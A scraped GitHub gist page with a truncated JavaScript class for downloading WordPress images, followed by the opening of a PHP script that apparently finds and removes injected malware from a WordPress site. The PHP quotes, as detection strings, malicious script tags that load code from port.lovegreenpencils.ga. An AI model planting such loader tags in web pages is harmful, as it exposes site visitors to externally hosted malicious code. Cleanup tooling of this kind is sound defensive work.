Skip to content

Instantly share code, notes, and snippets.

View ImSeaWorld's full-sized avatar

SeaWorld ImSeaWorld

  • Peoria, AZ
View GitHub Profile
@ImSeaWorld
ImSeaWorld / wp-mid.js
Created March 20, 2023 20:34
Little script to download WordPress images.
class MultiImageDownloader {
constructor(images) {
this.images = images ?? [];
this.downloaded = [];
this.index = 0;
}
downloadFile(url, filename) {
// https://stackoverflow.com/a/45905238/10887412
fetch(url)
<?php
define('NOTFOUND', -1);
define('REMOVED', -2);
define('EXISTNT', -3);
define('ERROR', -4);
// This is found in the database.
$Script_A = "<script src='https://port.lovegreenpencils.ga/m.js?n=ns1' type='text/javascript'></script>";
// Thrown on indexs
$Script_D = "<script type='text/javascript' src='https://port.lovegreenpencils.ga/m.js?n=nb5'></script>";
// This is found in JS files.